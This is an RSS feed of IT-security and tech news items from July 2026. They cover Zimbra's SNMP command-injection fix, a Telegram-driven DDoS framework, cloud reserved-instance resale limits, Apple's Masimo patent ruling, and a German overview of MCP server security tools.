<p class="wp-block-paragraph">Mahapatra said enterprises should assume that one containment layer may fail and ensure that an agent’s access cannot provide a route into unrelated applications or broader corporate infrastructure.</p>



<p class="wp-block-paragraph">OpenAI said it is still investigating the incident with Hugging Face, and is imposing stricter configurations on its research environment while the vulnerabilities are being addressed, even if that means slowing down its research. It is also strengthening containment and monitoring around future evaluations.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Zimbra Flaw Lets Attackers Inject Commands Through the SNMP Monitoring Service]]></title>
<description><![CDATA[Zimbra fixed a critical Zimbra Collaboration Suite (ZCS) command injection flaw in version 10.1.20 that could allow attackers to abuse the SNMP service and execute arbitrary commands on affected servers. The flaw affects environments where SNMP notifications are enabled, potentially…
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<link>https://tsecurity.de/de/3686414/it-security-nachrichten/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686414/it-security-nachrichten/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/</guid>
<pubDate>Wed, 22 Jul 2026 15:13:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Zimbra fixed a critical Zimbra Collaboration Suite (ZCS) command injection flaw in version 10.1.20 that could allow attackers to abuse the SNMP service and execute arbitrary commands on affected servers. The flaw affects environments where SNMP notifications are enabled, potentially…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/">Critical Zimbra Flaw Lets Attackers Inject Commands Through the SNMP Monitoring Service</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws]]></title>
<description><![CDATA[Zimbra has released Zimbra Collaboration Suite (ZCS) version 10.1.20, addressing a critical command injection vulnerability in its SNMP monitoring component along with multiple cross-site scripting (XSS) flaws affecting the Classic Web Client. The update, announced by Marilyn Lee on July 20, 2026...]]></description>
<link>https://tsecurity.de/de/3686410/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686410/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/</guid>
<pubDate>Wed, 22 Jul 2026 15:13:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Zimbra has released Zimbra Collaboration Suite (ZCS) version 10.1.20, addressing a critical command injection vulnerability in its SNMP monitoring component along with multiple cross-site scripting (XSS) flaws affecting the Classic Web Client. The update, announced by Marilyn Lee on July 20, 2026, carries a High security severity rating with a Low deployment risk, and Zimbra […]</p>
<p>The post <a href="https://cyberpress.org/zimbra-10-1-20-snmp-command-injection/">Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[New NULLZEREPTOOL Uses Telegram to Launch 20 DDoS Methods With Rotating Proxies]]></title>
<description><![CDATA[NULLZEREPTOOL is a newly uncovered attack framework that turns a Telegram bot into a remote control panel for powerful distributed denial of service campaigns backed by rotating proxy infrastructure. The framework came to light when a single Pastebin post was flagged during continuous paste‑site ...]]></description>
<link>https://tsecurity.de/de/3686247/it-security-nachrichten/new-nullzereptool-uses-telegram-to-launch-20-ddos-methods-with-rotating-proxies/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686247/it-security-nachrichten/new-nullzereptool-uses-telegram-to-launch-20-ddos-methods-with-rotating-proxies/</guid>
<pubDate>Wed, 22 Jul 2026 14:20:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>NULLZEREPTOOL is a newly uncovered attack framework that turns a Telegram bot into a remote control panel for powerful distributed denial of service campaigns backed by rotating proxy infrastructure. The framework came to light when a single Pastebin post was flagged during continuous paste‑site monitoring, exposing the full Python source for a Telegram‑managed DDoS and […]</p>
<p>The post <a href="https://cybersecuritynews.com/nullzereptool-uses-telegram/">New NULLZEREPTOOL Uses Telegram to Launch 20 DDoS Methods With Rotating Proxies</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws]]></title>
<description><![CDATA[Zimbra has released version 10.1.20 of its Collaboration Suite (ZCS) to address multiple high-severity security vulnerabilities. This release includes a critical command injection flaw in the SNMP monitoring component and several cross-site scripting (XSS) issues affecting the Classic Web Client....]]></description>
<link>https://tsecurity.de/de/3686091/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686091/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/</guid>
<pubDate>Wed, 22 Jul 2026 13:14:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Zimbra has released version 10.1.20 of its Collaboration Suite (ZCS) to address multiple high-severity security vulnerabilities. This release includes a critical command injection flaw in the SNMP monitoring component and several cross-site scripting (XSS) issues affecting the Classic Web Client.…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/zimbra-10-1-20-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/zimbra-10-1-20-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/">Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Zimbra-Updates stopfen SNMP-Command-Injection und XSS in Classic Web Client]]></title>
<description><![CDATA[LONDON / LONDON (IT BOLTWISE) – Zimbra hat Sicherheitsupdates für mehrere kritische Schwachstellen veröffentlicht, darunter eine Command-Injection im SNMP-Monitoring. Zusätzlich wurden vier XSS-Lücken im Classic Web Client geschlossen, die unter bestimmten Bedingungen Schadcode im Browser auslöse...]]></description>
<link>https://tsecurity.de/de/3685993/it-security-nachrichten/zimbra-updates-stopfen-snmp-command-injection-und-xss-in-classic-web-client/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685993/it-security-nachrichten/zimbra-updates-stopfen-snmp-command-injection-und-xss-in-classic-web-client/</guid>
<pubDate>Wed, 22 Jul 2026 12:41:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-zimbra-snmp-xss-mail-forwarding.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-zimbra-snmp-xss-mail-forwarding.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-zimbra-snmp-xss-mail-forwarding-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-zimbra-snmp-xss-mail-forwarding-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-zimbra-snmp-xss-mail-forwarding-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-zimbra-snmp-xss-mail-forwarding-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-zimbra-snmp-xss-mail-forwarding-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON / LONDON (IT BOLTWISE) – Zimbra hat Sicherheitsupdates für mehrere kritische Schwachstellen veröffentlicht, darunter eine Command-Injection im SNMP-Monitoring. Zusätzlich wurden vier XSS-Lücken im Classic Web Client geschlossen, die unter bestimmten Bedingungen Schadcode im Browser auslösen können. Für Administratoren zählt jetzt vor allem die zeitnahe Aktualisierung auf Zimbra 10.1.20, weil XSS-Bugs in E-Mail-Umgebungen historisch häufig […]</p>
<div><a href="https://www.it-boltwise.de/zimbra-updates-stopfen-snmp-command-injection-und-xss-in-classic-web-client.html">... den vollständigen Artikel <strong>»Zimbra-Updates stopfen SNMP-Command-Injection und XSS in Classic Web Client«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/zimbra-updates-stopfen-snmp-command-injection-und-xss-in-classic-web-client.html">Zimbra-Updates stopfen SNMP-Command-Injection und XSS in Classic Web Client</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws]]></title>
<description><![CDATA[Zimbra has released version 10.1.20 of its Collaboration Suite (ZCS) to address multiple high-severity security vulnerabilities. This release includes a critical command injection flaw in the SNMP monitoring component and several cross-site scripting (XSS) issues affecting the Classic Web Client....]]></description>
<link>https://tsecurity.de/de/3685991/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685991/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/</guid>
<pubDate>Wed, 22 Jul 2026 12:41:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Zimbra has released version 10.1.20 of its Collaboration Suite (ZCS) to address multiple high-severity security vulnerabilities. This release includes a critical command injection flaw in the SNMP monitoring component and several cross-site scripting (XSS) issues affecting the Classic Web Client. The update, published on July 20, 2026, provides a permanent fix for a previously disclosed […]</p>
<p>The post <a href="https://gbhackers.com/zimbra-10-1-20-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/">Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Critical Zimbra Flaw Lets Attackers Inject Commands Through the SNMP Monitoring Service]]></title>
<description><![CDATA[Zimbra fixed a critical Zimbra Collaboration Suite (ZCS) command injection flaw in version 10.1.20 that could allow attackers to abuse the SNMP service and execute arbitrary commands on affected servers. The flaw affects environments where SNMP notifications are enabled, potentially allowing remo...]]></description>
<link>https://tsecurity.de/de/3685952/it-security-nachrichten/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685952/it-security-nachrichten/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/</guid>
<pubDate>Wed, 22 Jul 2026 12:24:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Zimbra fixed a critical Zimbra Collaboration Suite (ZCS) command injection flaw in version 10.1.20 that could allow attackers to abuse the SNMP service and execute arbitrary commands on affected servers. The flaw affects environments where SNMP notifications are enabled, potentially allowing remote attackers to manipulate monitoring data and inject system-level commands, which could lead to […]</p>
<p>The post <a href="https://cybersecuritynews.com/zimbra-snmp-command-injection-vulnerability/">Critical Zimbra Flaw Lets Attackers Inject Commands Through the SNMP Monitoring Service</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Why you can’t buy security on the dark web]]></title>
<description><![CDATA[Why buying, monitoring, or negotiating on the dark web often creates more risk than security.]]></description>
<link>https://tsecurity.de/de/3685811/it-nachrichten/why-you-cant-buy-security-on-the-dark-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685811/it-nachrichten/why-you-cant-buy-security-on-the-dark-web/</guid>
<pubDate>Wed, 22 Jul 2026 11:37:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Why buying, monitoring, or negotiating on the dark web often creates more risk than security.]]></content:encoded>
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<title><![CDATA[Reselling unused cloud instances is no longer easy]]></title>
<description><![CDATA[A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idl...]]></description>
<link>https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.</p>



<p class="wp-block-paragraph">I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.</p>



<p class="wp-block-paragraph">AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">models</a> trained faster than expected. Some inference patterns were lighter than anticipated.</p>



<p class="wp-block-paragraph">Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.</p>



<h2 class="wp-block-heading">The history of cloud resale</h2>



<p class="wp-block-paragraph">There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a <a href="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/" data-type="link" data-id="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/">Reserved Instances Marketplace</a> where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.</p>



<p class="wp-block-paragraph">The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.</p>



<p class="wp-block-paragraph">My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.</p>



<h2 class="wp-block-heading"> AWS changes the rules</h2>



<p class="wp-block-paragraph">In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.</p>



<p class="wp-block-paragraph">This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.</p>



<p class="wp-block-paragraph">The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.</p>



<h2 class="wp-block-heading">What options still exist?</h2>



<p class="wp-block-paragraph">What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.</p>



<p class="wp-block-paragraph">The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.</p>



<p class="wp-block-paragraph">The third alternative is to optimize usage. Companies can invest in better <a href="https://www.infoworld.com/article/2257609/how-aiops-improves-application-monitoring.html">utilization monitoring</a>, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.</p>



<p class="wp-block-paragraph">My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.</p>



<h2 class="wp-block-heading">The broader implications</h2>



<p class="wp-block-paragraph">Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.</p>



<p class="wp-block-paragraph">This is why <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">cloud financial management</a> has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.</p>



<p class="wp-block-paragraph">For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.</p>



<p class="wp-block-paragraph">The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.</p>
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<title><![CDATA[Apple Loses Bid to Overturn $634 Million Masimo Patent Verdict]]></title>
<description><![CDATA[Apple has failed to overturn a $634 million patent verdict in its legal battle with medical technology company Masimo, after a California federal judge rejected the company’s request for judgment in its favour and denied its demand for a new trial.



The dispute began in 2020, when Masimo accuse...]]></description>
<link>https://tsecurity.de/de/3685538/ios-mac-os/apple-loses-bid-to-overturn-634-million-masimo-patent-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685538/ios-mac-os/apple-loses-bid-to-overturn-634-million-masimo-patent-verdict/</guid>
<pubDate>Wed, 22 Jul 2026 09:39:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has failed to overturn a $634 million patent verdict in its legal battle with medical technology company Masimo, after a California federal judge rejected the company’s request for judgment in its favour and denied its demand for a new trial.



The dispute began in 2020, when Masimo accused Apple of using its trade secrets and infringing patents linked to pulse oximetry and optical health-monitoring technology. The wider conflict later led to a US import ban on Apple Watch models that included blood oxygen monitoring, forcing Apple to disable the feature before resuming sales.



In November 2025, a jury found that Apple Watch heart-rate monitoring and notification features infringed a Masimo patent and ordered Apple to pay $634 million in damages. Apple challenged the verdict by arguing that the Apple Watch did not qualify as a “patient monitor” under the wording of the patent.



Judge Rejects Apple’s Arguments



Law360 reported that US District Judge James V. Selna rejected Apple’s interpretation and agreed with the jury that the Apple Watch could fall within the broader meaning of a patient-monitoring device.



The judge also dismissed Apple’s objections to the jury instructions and the exclusion of testimony from one of its experts, finding no serious legal errors that justified another trial.



Apple referred to an earlier statement and confirmed that it plans to appeal the decision.




“The single patent in this case expired in 2022, and is specific to historic patient monitoring technology from decades ago. We plan to appeal,” Apple said.




The ruling leaves the $634 million damages award in place while Apple prepares its next legal challenge.]]></content:encoded>
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<title><![CDATA[Tools, um MCP-Server abzusichern]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.Gorodenkoff | shutterstock.com



Model Context Protocol (MCP) verbindet KI-Agenten mit Datenquellen und erfre...]]></description>
<link>https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</guid>
<pubDate>Wed, 22 Jul 2026 06:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.</figcaption></figure><p class="imageCredit">Gorodenkoff | shutterstock.com</p></div>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html" target="_blank">MCP</a>) verbindet KI-Agenten mit Datenquellen und erfreut sich im Unternehmensumfeld wachsender Beliebtheit. Allerdings ist auch MCP nicht frei von Sicherheitslücken, wie entsprechende Entdeckungen, etwa beim SaaS-Anbieter <a href="https://www.upguard.com/blog/asana-discloses-data-exposure-bug-in-mcp-server" target="_blank" rel="noreferrer noopener">Asana</a> oder dem IT-Riesen <a href="https://www.catonetworks.com/blog/cato-ctrl-poc-attack-targeting-atlassians-mcp/" target="_blank" rel="noreferrer noopener">Atlassian</a> gezeigt haben. Inzwischen hat sich jedoch einiges in Sachen MCP-Sicherheit getan. Einerseits wurden mit Blick auf das Kernprotokoll etliche Fortschritte erzielt. Beispielsweise in Form von Support für OAuth sowie für Authentifizierungs-Server von Drittanbietern und Identity-Management-Systeme. Darüber hinaus wurde inzwischen auch eine <a href="https://modelcontextprotocol.info/tools/registry/" target="_blank" rel="noreferrer noopener">offizielle MCP Registry</a> geschaffen, die einen Überblick über sichere, öffentlich verfügbare MCP-Server bietet.</p>



<p class="wp-block-paragraph">Dennoch bestehen weiterhin Sicherheitslücken, die sich für diverse Cyberschandtaten ausnutzen lassen – <a href="https://www.computerwoche.de/article/4044551/wenn-der-ki-agent-im-fakeshop-kauft.html" target="_blank">Prompt Injection</a>, Tool Poisoning, Token-Diebstahl, Server-übergreifende Attacken oder manipulierte Messages sind nur einige von vielen Beispielen. Mit anderen Worten: Unternehmen, die sich beim <a href="https://www.computerwoche.de/article/4049237/3-tipps-um-agentic-ai-systeme-in-der-cloud-zu-entwickeln.html" target="_blank">Aufbau von Agentic-AI-Systemen</a> einen Wettbewerbsvorteil verschaffen wollen, müssen erhebliche Anstrengungen unternehmen, um zu gewährleisten, dass sensible Daten nicht nach außen dringen. Glücklicherweise gibt es diverse Tools, die dabei Unterstützung versprechen.</p>



<p class="wp-block-paragraph">In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>was Security-Tools für MCP leisten sollten, und</li>



<li>welche Angebote in diesem Bereich interessant sind.</li>
</ul>



<h2 class="wp-block-heading">Das sollten MCP-Sicherheitslösungen können</h2>



<p class="wp-block-paragraph">Die Gefahr von Datenlecks, Prompt Injections und weiteren Sicherheitsbedrohungen besteht unabhängig davon, ob Unternehmen:</p>



<ul class="wp-block-list">
<li>ihre eigenen KI-Agenten mit MCP-Servern von Drittanbietern,</li>



<li>ihre eigenen MCP-Server mit Drittanbieter-Agenten, oder</li>



<li>ihre eigenen Server mit den eigenen Agenten verbinden.</li>
</ul>



<p class="wp-block-paragraph">Soll heißen: Unternehmen müssen in jedem Fall Autorisierungen und Berechtigungen überprüfen, detaillierte Zugriffskontrollen implementieren und alles protokollieren. Daraus ergeben sich auch die Anforderungen für MCP-Sicherheitslösungen. Diese sollten bieten:</p>



<ul class="wp-block-list">
<li><strong>MCP-Servererkennung.</strong> Für Mitarbeiter eines Unternehmens ist es einfach, MCP-Server herunterzuladen und zu nutzen. Mit Scan-Services für MCP-Server können Unternehmen sämtliche Instanzen von Schatten-MCP-Servern in ihrer Umgebung finden.</li>



<li><strong>Laufzeitschutz.</strong> KI-Agenten kommunizieren mit MCP-Servern in natürlicher Sprache. MCP-Sicherheits-Tools sollten deshalb in der Lage sein, diese Kommunikation auf Sicherheitsprobleme wie Prompt Injections hin zu überwachen.</li>



<li><strong>Authentifizierungs- und Zugriffskontrollen.</strong> Das MCP-Protokoll unterstützt inzwischen OAuth, aber das ist nur ein erster Schritt. Für zusätzliche Sicherheit empfehlen sich Tools mit integrierten Kontroll-Frameworks für Zero Trust und Least Privilege.</li>



<li><strong>Logging und Observability.</strong> Tools und Plattformen sollten zudem die Möglichkeit bieten, MCP-Protokolle zu sammeln, Sicherheitsteams über Richtlinienverstöße zu informieren, Compliance-Daten zu erfassen oder Protokolle in die bestehende Sicherheitsinfrastruktur einzuspeisen.</li>
</ul>



<h2 class="wp-block-heading">MCP-Security-Angebote</h2>



<p class="wp-block-paragraph">Im Folgenden haben wir die Anbieter von MCP-Security-Tools in drei Kategorien aufgeteilt. Diese Aufstellung erhebt keinen Anspruch auf Vollständigkeit.</p>



<p class="wp-block-paragraph"><strong>Hyperscaler</strong></p>



<p class="wp-block-paragraph">Für Unternehmen, die sich vollständig auf eine bestimmte Cloud-Plattform verlassen, bieten die MCP-Tools des jeweiligen Hyperscalers einen einfachen Einstieg.</p>



<ul class="wp-block-list">
<li><strong>Amazon Web Services (AWS)</strong> hat Mitte 2025 seine eigene agentenbasierte KI-Plattform eingeführt. <a href="https://aws.amazon.com/de/bedrock/agentcore/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore</a> umfasst ein Gateway, das mehrere Protokolle unterstützt (darunter auch MCP), ein Identity-Management-System sowie Observability.</li>



<li><strong>Microsoft</strong> bietet einen grundlegenden <a href="https://learn.microsoft.com/de-de/azure/developer/azure-mcp-server/overview" target="_blank" rel="noreferrer noopener">Azure-MCP-Server</a> an, inklusive Support für Azure Key Vault. Darüber hinaus unterstützen auch Azure AI Foundry Agent Service und Azure API Management das Model Context Protocol. Zudem bietet Microsoft mit dem <a href="https://learn.microsoft.com/de-de/agent-framework/overview/agent-framework-overview" target="_blank" rel="noreferrer noopener">Agent Framework</a> auch ein Open-Source-Entwicklungskit, das sowohl MCP als auch Agent2Agent unterstützt und beispielsweise Schutz vor Prompt Injections verspricht.</li>



<li><strong>Google Cloud</strong> kündigte Anfang 2025 seine <a href="https://cloud.google.com/blog/products/ai-machine-learning/mcp-toolbox-for-databases-now-supports-model-context-protocol?hl=en" target="_blank" rel="noreferrer noopener">MCP Toolbox für Datenbanken</a> an – inklusive integrierter Authentifizierung und Observability. Außerdem hat der Hyperscaler auch <a href="https://cloud.google.com/blog/products/identity-security/how-to-secure-your-remote-mcp-server-on-google-cloud?hl=en" target="_blank" rel="noreferrer noopener">eine Referenzarchitektur</a> veröffentlicht, um MCP-Server auf seiner Cloud-Plattform abzusichern.</li>
</ul>



<p class="wp-block-paragraph"><strong>Große Plattformanbieter</strong></p>



<ul class="wp-block-list">
<li>Der IT-Dienstleister <strong>Cloudflare</strong> hat mit <a href="https://blog.cloudflare.com/zero-trust-mcp-server-portals/" target="_blank" rel="noreferrer noopener">MCP Server Portals</a> ein Tool veröffentlicht, mit dem Unternehmen MCP-Verbindungen zentralisiert absichern und überwachen können. Die Funktion ist Bestandteil der Cloudflare-One-Plattform.</li>



<li><strong>Palo Alto Networks</strong> hat mit Blick auf MCP-Sicherheit mehrere Eisen im Feuer. Mit <a href="https://www.paloaltonetworks.com/blog/2025/06/securing-ai-agent-innovation-prisma-airs-mcp-server/" target="_blank" rel="noreferrer noopener">Prisma AIRS</a> hat das Unternehmen einen eigenen, intermediären MCP-Server veröffentlicht. Dieser sitzt zwischen den KI-Agenten und dem eigentlichen MCP-Server und erkennt schadhafte Inhalte und Daten. Das Tool <a href="https://www.paloaltonetworks.com/blog/2025/06/cloud-security-model-context-protocol-mcp-security/" target="_blank" rel="noreferrer noopener">MCP Security</a> ist hingegen Bestandteil von Cortex Cloud WAAS und überprüft die MCP-Kommunikation an der Netzwerkgrenze auf bösartige Aktivitäten.</li>



<li><strong>SentinelOne</strong> gewährt mit seiner <a href="https://www.sentinelone.com/blog/avoiding-mcp-mania-how-to-secure-the-next-frontier-of-ai/" target="_blank" rel="noreferrer noopener">Singularity Platform</a> ebenfalls Einblick in die MCP-Interaktionskette und bietet zum Beispiel Warnmeldungen und automatisierte Incident Response für MCP-Server auf lokaler oder Remote-Ebene.</li>



<li>Die <a href="https://acuvity.ai/" target="_blank" rel="noreferrer noopener">Plattform</a> von <strong>Acuvity</strong> (seit Februar 2026 Teil von <strong>Proofpoint</strong>) verspricht, MCP-Server umfassend abzusichern. Dafür sorgt laut dem Anbieter eine Kombination aus Least-Privilege-Execution, unveränderlichen Laufzeiten, kontinuierlichen Schwachstellenscans, Authentifizierung und Bedrohungserkennung.</li>



